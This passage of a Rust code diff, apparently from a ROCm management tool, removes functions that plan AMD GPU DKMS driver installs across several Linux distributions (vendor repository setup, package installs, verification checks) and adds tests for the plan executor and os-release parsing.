repository (codename {repo_codename}), per AMD's documented Debian install; the Ubuntu codename is deliberate, not a misdetection. {}", - plan.reason - ); - plan - } - ("rhel", "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - DnfDriverDistro::Rhel, - escalation, - ), - ("ol", "10.1" | "9.7" | "8.10") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - DnfDriverDistro::Oracle, - escalation, - ), - ("rocky", "9.4" | "9.6" | "9.7") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - DnfDriverDistro::Rocky, - escalation, - ), - ("sles" | "sle", "15.7") => { - sles_driver_plan(os_id, version_id, codename, repo_version_expr, dkms, escalation) - } - _ => driver_plan_via_id_like( - &os_id, - &version_id, - &id_like, - &codename, - &repo_version_expr, - dkms, - escalation, - ) - .unwrap_or_else(|| DriverInstallPlan { - supported: false, - mutating: false, - policy: "unsupported_linux_dkms_plan".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: "Linux DKMS driver install is currently planned only for AMD-documented Ubuntu, Debian, RHEL, Oracle Linux, SLES, and Rocky versions; no commands were guessed for this distro.".to_owned(), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - }), + assert_eq!(observed, ["prepare", "execute", "verify"]); + assert!(state.executed_at_unix_ms.is_some()); + Ok(()) } -} -/// [`build_driver_install_plan_at`] for `read`, naming the file actually read -/// in an unreadable-line message, and reporting a file that exists but could -/// not be read as itself rather than as an unknown distribution. -/// -/// Without the latter, a host whose `/etc/os-release` is merely unreadable -/// (permission denied, a directory in its place) would plan nothing and say -/// "no commands were guessed for this distro" — the same message an actually -/// unsupported distribution gets — sending the user looking for a support -/// gap instead of a filesystem problem. The Windows and WSL branches never -/// reach the os-release parse at all, so they are unaffected either way and -/// are left to the normal call below. -fn build_driver_install_plan_read( - examine: &ExamineSummary, - read: &rocm_core::hardware_root::OsRelease, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - let reaches_os_release_parse = - examine.os != "windows" && !examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl); - if reaches_os_release_parse - && let rocm_core::hardware_root::OsRelease::Unreadable { path, error } = read - { - let repo_version_expr = match resolve_repo_version_expr() { - Ok(v) => v, - Err(plan) => return *plan, - }; - return unreadable_os_release_plan( - format!( - "{}; no driver commands were planned because the distro cannot be read.", - rocm_core::hardware_root::unreadable_prefix(path, error) - ), - repo_version_expr, + #[test] + fn driver_plan_executor_defers_verify_when_reboot_is_required() -> Result<()> { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), + true, + PrivilegeEscalation::Sudo, ); - } - build_driver_install_plan_at(examine, read.path(), read.text(), dkms, escalation) -} - -/// Select a driver install plan for a distro whose `/etc/os-release` `ID` is not -/// an AMD-documented distro, by falling back to its `ID_LIKE` base family. -/// -/// This mirrors the family resolution already used by the OpenMPI and system -/// dependency install plans in [`rocm_core::openmpi`], which honor `ID_LIKE`. A -/// derivative is matched only when its `VERSION_ID` aligns with an AMD-documented -/// version of the base family, so version-misaligned derivatives still fall -/// through to the unsupported plan rather than fabricating a repository URL that -/// would 404. -// Every parameter is one already-resolved fact the plan is templated from; -// bundling them into a struct would only move the same list one level out. -#[allow(clippy::too_many_arguments)] -fn driver_plan_via_id_like( - os_id: &str, - version_id: &str, - id_like: &str, - codename: &str, - repo_version_expr: &str, - dkms: bool, - escalation: PrivilegeEscalation, -) -> Option { - let likes: Vec = id_like - .split_whitespace() - .map(str::to_ascii_lowercase) - .collect(); - let mentions = |family: &str| likes.iter().any(|like| like == family); - - // Ubuntu-family derivatives that reuse Ubuntu's VERSION_ID (e.g. Pop!_OS) - // also reuse its repositories; the amdgpu apt line always targets the - // `ubuntu/` repo, so the plan is identical to the Ubuntu base. - // Derivatives with their own version scheme (e.g. Linux Mint's "22") do not - // match here and remain unsupported rather than guessing a codename. - if mentions("ubuntu") && matches!(version_id, "22.04" | "24.04" | "26.04") { - let codename = if codename.is_empty() { - codename_for_version("ubuntu", version_id) - .unwrap_or_default() - .to_owned() - } else { - codename.to_owned() + assert!(plan.reboot_required); + let expected = plan.execution_commands(); + let verify_commands = plan + .commands + .iter() + .filter(|command| command.phase == DriverCommandPhase::Verify) + .map(|command| command.command.clone()) + .collect::>(); + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", false).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, }; - return Some(apt_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - codename, - repo_version_expr.to_owned(), - dkms, - true, - escalation, - )); - } + let mut observed = Vec::new(); - // Debian-family derivatives that share Debian's version scheme map to the - // matching Ubuntu repo codename, exactly like the Debian base. - if mentions("debian") && matches!(version_id, "12" | "13") { - let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; - return Some(apt_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - repo_codename.to_owned(), - repo_version_expr.to_owned(), - dkms, - false, - escalation, - )); - } + execute_driver_install_plan( + &plan, + &mut state, + |command| { + observed.push(command.to_owned()); + Ok(()) + }, + |_| Ok(()), + || Ok(test_examine("linux", false).driver), + )?; - // Enterprise-Linux rebuilds (e.g. AlmaLinux) reuse RHEL's version scheme and - // standard (RHCK, non-UEK) kernels, but are served from the vendor-neutral - // `el/` repository path rather than `rhel/`. Gate strictly on `ID_LIKE` - // naming `rhel`: Oracle Linux advertises only `ID_LIKE=fedora` and boots the - // UEK kernel, so it must keep its dedicated `("ol", ...)` flow and never be - // captured here with RHCK kernel commands that would fail to install. Guard - // the `ol`/`oracle` IDs explicitly as well, in case a future OL release adds - // `rhel` to `ID_LIKE`. - if mentions("rhel") && !matches!(os_id, "ol" | "oracle") && is_supported_el_version(version_id) - { - return Some(dnf_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - codename.to_owned(), - repo_version_expr.to_owned(), - dkms, - DnfDriverDistro::Generic, - escalation, - )); - } - - // No SUSE-family fallback: SLES is matched exactly, and community rebuilds - // such as openSUSE Leap share the SLES version scheme but lack SUSEConnect - // entitlements, so the SLES plan's `SUSEConnect` commands would fail. They - // intentionally remain unsupported rather than producing a broken plan. - - None -} - -/// The set of Enterprise-Linux versions AMD documents for the driver install, -/// used to gate `ID_LIKE`-based matching of RHEL rebuilds. -fn is_supported_el_version(version_id: &str) -> bool { - matches!(version_id, "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") -} - -#[derive(Debug, Clone, Copy)] -enum DnfDriverDistro { - Rhel, - Oracle, - Rocky, - /// A RHEL rebuild matched via `ID_LIKE` (e.g. AlmaLinux, CentOS Stream): - /// standard RHEL kernels, served from the vendor-neutral `el/` repo path. - Generic, -} - -fn apt_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - dkms: bool, - include_linux_modules_extra: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - // AMD's page says to remove an AMDGPU driver from a previous - // installation first. Removal is destructive, so the plan only - // detects and warns; the user decides. - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "if dpkg-query -W -f='${{Status}}' amdgpu-dkms 2>/dev/null | grep -q 'install ok installed'; then echo 'warning: amdgpu-dkms from a previous installation is installed and was not removed. AMD advises removing it first (`{sudo}apt-get autoremove -y amdgpu-dkms`); continuing anyway. If the install fails, remove it and re-run.'; fi" - ), - )); - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get update"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get install -y ca-certificates curl gnupg"), - ), - ]); - let header_command = if include_linux_modules_extra { - format!( - "{sudo}apt-get install -y \"linux-headers-$(uname -r)\" \"linux-modules-extra-$(uname -r)\"" - ) - } else { - format!("{sudo}apt-get install -y \"linux-headers-$(uname -r)\"") - }; - commands.push(driver_command(DriverCommandPhase::Prepare, &header_command)); - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}install -m 0755 -d /etc/apt/keyrings"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "curl -fsSL https://repo.radeon.com/rocm/rocm.gpg.key | {sudo}gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' 'deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/amdgpu/{repo_version_expr}/ubuntu {codename} main' | {sudo}tee /etc/apt/sources.list.d/amdgpu.list >/dev/null" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' 'Package: *' 'Pin: release o=repo.radeon.com' 'Pin-Priority: 600' | {sudo}tee /etc/apt/preferences.d/rocm-pin-600 >/dev/null" - ), - ), - driver_command(DriverCommandPhase::Prepare, &format!("{sudo}apt-get update")), - ]); - commands.push(driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}apt-get install -y amdgpu-dkms"), - )); - commands.extend([ - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); - } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: if dkms { - "Plan uses AMD's package-manager DKMS flow and requires explicit approval before execution. If amdgpu-dkms from a previous installation is present, the first command only warns; the install continues and nothing is removed automatically." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`apt-get` package manager is available".to_owned()); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -// Same shape as the other distro plan builders: a flat list of resolved facts -// the command templates read, one of which is now the escalation prefix. -#[allow(clippy::too_many_arguments)] -fn dnf_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - dkms: bool, - distro: DnfDriverDistro, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - match distro { - DnfDriverDistro::Rhel | DnfDriverDistro::Generic => { - commands.extend( - rhel_kernel_prepare_commands(&version_id, escalation) - .into_iter() - .map(|command| driver_command(DriverCommandPhase::Prepare, &command)), - ); - } - DnfDriverDistro::Oracle => { - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}dnf install -y \"kernel-uek-devel-$(uname -r)\""), - )); - } - DnfDriverDistro::Rocky => { - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}dnf install -y kernel-headers kernel-devel kernel-devel-matched" - ), - )); - } - } - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), - )); - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'priority=50' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/yum.repos.d/amdgpu.repo >/dev/null", - dnf_repo_baseurl(&repo_version_expr, &version_id, distro) - ), - )); - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}dnf clean all"), - )); - commands.push(driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}dnf install -y amdgpu-dkms"), - )); - commands.extend([ - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); - } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: if dkms { - "Plan uses AMD's documented DNF DKMS flow and requires explicit approval before execution." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`dnf` package manager is available".to_owned()); - checks.push( - "enterprise Linux repositories are registered and current before approval" - .to_owned(), - ); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -fn sles_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}SUSEConnect -p sle-module-desktop-applications/{version_id}/x86_64" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}SUSEConnect -p sle-module-development-tools/{version_id}/x86_64"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}SUSEConnect -p PackageHub/{version_id}/x86_64"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}zypper --non-interactive refresh"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}zypper --non-interactive install -y kernel-default-devel"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'autorefresh=0' 'type=rpm-md' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/zypp/repos.d/amdgpu.repo >/dev/null", - sles_repo_baseurl(&repo_version_expr, &version_id) - ), - ), - driver_command( - DriverCommandPhase::Prepare, - // `--gpg-auto-import-keys` is required here: `rpm --import` above - // only seeds the RPM keyring, but zypper tracks trusted - // *repository* signing keys separately and otherwise prompts to - // trust/reject the new repo's key on this refresh -- a prompt - // that would hang this unattended flow (no stdin attached). - &format!("{sudo}zypper --non-interactive --gpg-auto-import-keys refresh"), - ), - driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}zypper --non-interactive install -y amdgpu-dkms"), - ), - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); - } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: if dkms { - "Plan uses AMD's documented SLES DKMS flow and requires explicit approval before execution." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`zypper` package manager is available".to_owned()); - checks.push( - "`SUSEConnect` is available and the host is registered before approval".to_owned(), - ); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -fn rhel_kernel_prepare_commands(version_id: &str, escalation: PrivilegeEscalation) -> Vec { - let sudo = escalation.prefix(); - if version_id.starts_with("8.") { - vec![ - format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), - ] - } else { - vec![ - format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-matched-$(uname -r)\""), - ] - } -} - -fn dnf_repo_baseurl(repo_version_expr: &str, version_id: &str, distro: DnfDriverDistro) -> String { - let repo_family = match distro { - DnfDriverDistro::Rhel => "rhel", - DnfDriverDistro::Oracle | DnfDriverDistro::Rocky | DnfDriverDistro::Generic => "el", - }; - let repo_version = dnf_repo_version_path(version_id); - format!( - "https://repo.radeon.com/amdgpu/{repo_version_expr}/{repo_family}/{repo_version}/main/x86_64" - ) -} - -fn sles_repo_baseurl(repo_version_expr: &str, version_id: &str) -> String { - format!("https://repo.radeon.com/amdgpu/{repo_version_expr}/sle/{version_id}/main/x86_64") -} - -fn dnf_repo_version_path(version_id: &str) -> String { - // AMD serves EL 8 and 10 from a major-version path (el8/, el10/, rhel/10/), - // but EL 9 from the point-release path (el/9.7/, rhel/9.6/). Keying on the - // major version keeps this correct for RHEL, Oracle Linux, and ID_LIKE-matched - // rebuilds alike, without depending on the specific distro `ID`. - let major = linux_major_version(version_id); - match major { - "8" | "10" => major.to_owned(), - _ => version_id.to_owned(), - } -} - -fn linux_major_version(version_id: &str) -> &str { - version_id.split('.').next().unwrap_or(version_id) -} - -/// Preconditions about reaching root for a driver plan. -/// -/// These differ by escalation: a plan that will prefix `sudo` additionally -/// depends on a `sudo` binary being installed, while a plan built as root does -/// not. Listing that precondition when already root would state a requirement -/// the plan is not relying on — which is exactly the contradiction that made -/// the unconditional prefix confusing to debug. -fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { - let mut checks = - vec!["root access: run as root, or ensure `sudo -v` succeeds before approval".to_owned()]; - if escalation.needs_sudo_binary() { - checks.push("`sudo` command is available when not running as root".to_owned()); - } - checks -} - -fn driver_command(phase: DriverCommandPhase, command: &str) -> DriverPlanCommand { - DriverPlanCommand { - phase, - command: command.to_owned(), - } -} - -/// Resolve a `${VAR:-default}` shell parameter-expansion template to its -/// effective value: the value of `VAR` when it is set and non-empty (matching -/// the shell `:-` semantics), otherwise the literal default. This is resolved -/// once at plan-build time so the concrete value is baked into both the -/// human-readable summary and the commands the plan runs, rather than leaking an -/// unexpanded `${...}` placeholder into user-facing output or depending on the -/// runtime shell — which, for the single-quoted WSL ROCDXG download command, would -/// never expand it at all. -/// -/// Only a single, flat `${VAR:-default}` template is recognized. Anything else — -/// a bare `${VAR}`, a `${VAR:=x}`/`${VAR-x}` form, or a nested default such as -/// `${A:-${B:-x}}` whose default itself contains `${` — is returned unchanged, so -/// an unresolvable shape degrades to its literal input rather than to a -/// half-resolved string. -fn resolve_shell_default_template(expr: &str) -> String { - let Some(inner) = expr.strip_prefix("${").and_then(|s| s.strip_suffix('}')) else { - return expr.to_owned(); - }; - let Some((var, default)) = inner.split_once(":-") else { - return expr.to_owned(); - }; - if default.contains("${") { - // Nested or embedded templates are beyond this flat matcher; return the - // input untouched rather than emitting a partially resolved string. - return expr.to_owned(); - } - std::env::var(var) - .ok() - .filter(|value| !value.is_empty()) - .unwrap_or_else(|| default.to_owned()) -} - -fn render_driver_install_plan(plan: &DriverInstallPlan, yes: bool, dry_run: bool) -> String { - let mut output = String::new(); - let _ = writeln!(output, "driver install plan"); - let _ = writeln!(output, " policy: {}", plan.policy); - let _ = writeln!(output, " supported: {}", plan.supported); - let _ = writeln!(output, " mutating: {}", plan.mutating); - let _ = writeln!( - output, - " approval: {}", - driver_plan_approval_label(plan, yes, dry_run) - ); - let _ = writeln!(output, " dry_run: {dry_run}"); - let _ = writeln!(output, " os_id: {}", empty_as_unknown(&plan.os_id)); - let _ = writeln!( - output, - " version_id: {}", - empty_as_unknown(&plan.version_id) - ); - let _ = writeln!(output, " codename: {}", empty_as_unknown(&plan.codename)); - let _ = writeln!(output, " repo_version: {}", plan.repo_version_expr); - let _ = writeln!(output, " reason: {}", plan.reason); - if !plan.preflight_checks.is_empty() { - let _ = writeln!(output, " preflight_checks:"); - for check in &plan.preflight_checks { - let _ = writeln!(output, " {check}"); - } - } - let execution_commands = plan - .commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .collect::>(); - if execution_commands.is_empty() { - let _ = writeln!(output, " execution_commands: "); - } else { - let _ = writeln!(output, " execution_commands:"); - for command in execution_commands { - let _ = writeln!(output, " {:?}: {}", command.phase, command.command); - } - } - let verification_commands = plan - .commands - .iter() - .filter(|command| command.phase == DriverCommandPhase::Verify) - .collect::>(); - // A plan that changes nothing kernel-side is live as soon as it finishes, so - // labelling its checks "post_reboot" would tell the user to reboot for - // nothing — and would contradict the `reboot_required: false` this same plan - // reports after executing. - let checks_label = if plan.reboot_required { - "post_reboot" - } else { - "post_install" - }; - if !verification_commands.is_empty() { - let _ = writeln!(output, " {checks_label}_check_commands:"); - for command in verification_commands { - let _ = writeln!(output, " {}", command.command); - } - } - if !plan.checks.is_empty() { - let _ = writeln!(output, " {checks_label}_checks:"); - for check in &plan.checks { - let _ = writeln!(output, " {check}"); - } - } - if plan.supported && plan.mutating && !yes && !dry_run { - let _ = writeln!( - output, - " action: rerun with --yes after reviewing this plan, or approve from the TUI" - ); - } else if plan.supported && plan.mutating && dry_run { - let _ = writeln!( - output, - " action: dry run only; no driver commands executed" - ); - } else if plan.supported && !plan.mutating { - let _ = writeln!( - output, - " action: no driver commands will be executed; add --dkms to plan a native DKMS driver install" - ); - } else if !plan.supported { - let _ = writeln!(output, " action: no driver commands will be executed"); - } - output -} - -const fn driver_plan_approval_label( - plan: &DriverInstallPlan, - yes: bool, - dry_run: bool, -) -> &'static str { - if !plan.supported || !plan.mutating || dry_run { - "not required" - } else if yes { - "approved" - } else { - "required" - } -} - -fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { - match (os_id, version_id) { - ("ubuntu", "22.04") => Some("jammy"), - ("ubuntu", "24.04") => Some("noble"), - ("ubuntu", "26.04") => Some("resolute"), - ("debian", "12") => Some("jammy"), - ("debian", "13") => Some("noble"), - _ => None, - } -} - -fn run_driver_shell_command(command: &str) -> Result<()> { - run_shell_command_with_stdin(command, Stdio::null()) -} - -/// Run a hardcoded shell command, wiring its stdin to `stdin`. -/// -/// Most install commands run with a null stdin, but privileged commands that may -/// trigger an interactive `sudo` password prompt (such as the OpenMPI install -/// approved with `--yes`) must inherit the terminal so the user can respond. -fn run_shell_command_with_stdin(command: &str, stdin: Stdio) -> Result<()> { - let (program, args) = shell_command_for_host(command); - let status = ProcessCommand::new(program) - .args(args) - .stdin(stdin) - .status() - .with_context(|| format!("failed to launch `{command}`"))?; - if !status.success() { - bail!("`{command}` exited with {status}"); - } - Ok(()) -} - -pub(crate) fn driver_install_state_path(paths: &AppPaths) -> PathBuf { - paths.data_dir.join("driver").join("state.json") -} - -fn write_driver_install_state(paths: &AppPaths, state: &DriverInstallState) -> Result<()> { - let path = driver_install_state_path(paths); - let parent = path.parent().context("driver state path has no parent")?; - fs::create_dir_all(parent)?; - fs::write(&path, serde_json::to_vec_pretty(state)?)?; - Ok(()) -} - -fn read_driver_install_state(paths: &AppPaths) -> Result> { - let path = driver_install_state_path(paths); - if !path.is_file() { - return Ok(None); - } - let bytes = fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; - let state = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", path.display()))?; - Ok(Some(state)) -} - -fn current_boot_id() -> Option { - fs::read_to_string("/proc/sys/kernel/random/boot_id") - .ok() - .map(|value| value.trim().to_owned()) - .filter(|value| !value.is_empty()) -} - -fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { - let Some(executed_boot_id) = executed_boot_id else { - return false; - }; - current_boot_id() - .as_deref() - .is_some_and(|current| current != executed_boot_id) -} - -#[cfg(test)] -mod tests { - use super::*; - use crate::tests::{ScopedTestEnv, test_paths}; - #[cfg(unix)] - use std::path::Path; - - fn test_examine(os: &str, wsl: bool) -> ExamineSummary { - ExamineSummary { - os: os.to_owned(), - arch: "x86_64".to_owned(), - kernel: Some("6.8.0-test".to_owned()), - distro: Some("test distro".to_owned()), - cpu: Some("AMD Ryzen".to_owned()), - system_ram_gib: Some(64.0), - interactive_terminal: false, - default_engine: "vllm".to_owned(), - detected_gfx_target: Some("gfx1201".to_owned()), - compatible_therock_family: Some("gfx120X-all".to_owned()), - detected_therock_family: None, - driver: rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "amdgpu_missing".to_owned(), - detail: Some("/dev/kfd missing".to_owned()), - windows: None, - }, - legacy_rocm: rocm_core::LegacyRocmSummary { - status: "not_detected".to_owned(), - paths: Vec::new(), - detail: None, - version: None, - }, - wsl: wsl.then_some(rocm_core::WslSummary { - is_wsl: true, - dxg_device: true, - dxcore: true, - librocdxg: false, - rocdxg_dids: false, - ldconfig_librocdxg: false, - rocminfo: false, - cargo: false, - detail: Some("missing librocdxg".to_owned()), - }), - managed_runtime_count: 0, - managed_service_count: 0, - model_cache_entries: 0, - config_dir: PathBuf::from("/tmp/config"), - data_dir: PathBuf::from("/tmp/data"), - cache_dir: PathBuf::from("/tmp/cache"), - } - } - - /// `text` as if read from `/etc/os-release`, for tests that only care - /// about the content and not the path — `rocm_core::hardware_root::OsRelease::found` - /// is `pub(crate)` inside `rocm-core`, so it isn't visible from this crate's - /// tests; this is the `apps/rocm`-side equivalent, used in place of - /// repeating the `OsRelease::Found { .. }` literal at every call site. - fn os_release_found(text: &str) -> rocm_core::hardware_root::OsRelease { - rocm_core::hardware_root::OsRelease::Found { - path: "/etc/os-release", - text: text.to_owned(), - } - } - - /// Every distro whose plan actually emits privileged commands, so the - /// escalation tests below sweep all of them rather than whichever one was - /// remembered. Adding a distro to the planner without adding it here would - /// leave its commands unswept. - fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { - vec![ - ( - "ubuntu", - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - ), - ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), - ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), - ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), - ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), - ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), - ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), - ( - "almalinux-via-id-like", - "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", - ), - ] - } - - fn plan_commands(os_release: &str, escalation: PrivilegeEscalation) -> Vec { - build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - escalation, - ) - .commands - .into_iter() - .map(|command| command.command) - .collect() - } - - /// Rewrite every `KEY=value` / `KEY="value"` line of an os-release fixture - /// in single quotes, which `os-release(5)` permits just as it does double. - fn single_quoted(os_release: &str) -> String { - os_release - .lines() - .map(|line| match line.split_once('=') { - Some((key, value)) => format!("{key}='{}'", value.trim_matches('"')), - None => line.to_owned(), - }) - .collect::>() - .join("\n") - } - - /// How a distro quotes its `/etc/os-release` must not change the plan. - /// - /// `os-release(5)` allows single or double quotes, so every supported - /// distro, rewritten in single quotes, must plan exactly as it does in - /// double quotes. - #[test] - fn a_single_quoted_os_release_builds_the_same_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let plan = |text: &str| { - build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(text), - true, - PrivilegeEscalation::Sudo, - ) - }; - let double = plan(os_release); - let single = plan(&single_quoted(os_release)); - assert!( - single.supported, - "{label}: unsupported when single-quoted: {}\n{}", - single.reason, - single_quoted(os_release) - ); - assert_eq!( - (single.os_id.as_str(), single.version_id.as_str()), - (double.os_id.as_str(), double.version_id.as_str()), - "{label}: quote style changed the distro read" - ); - assert_eq!( - single.execution_commands(), - double.execution_commands(), - "{label}: quote style changed the planned commands" - ); - } - } - - /// An unreadable os-release is refused as itself: the reason names the - /// offending line, and it is asserted together with what it claims — no - /// distro, no commands, nothing that mutates — and against an "unsupported - /// distro" reason, which would blame the distro instead. - #[test] - fn an_unreadable_os_release_names_its_line_and_plans_nothing() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found( - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n", - ), - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!( - plan.reason, - "/etc/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ - commands were planned because the distro cannot be read. To fix it, remove \ - that line or rewrite it as 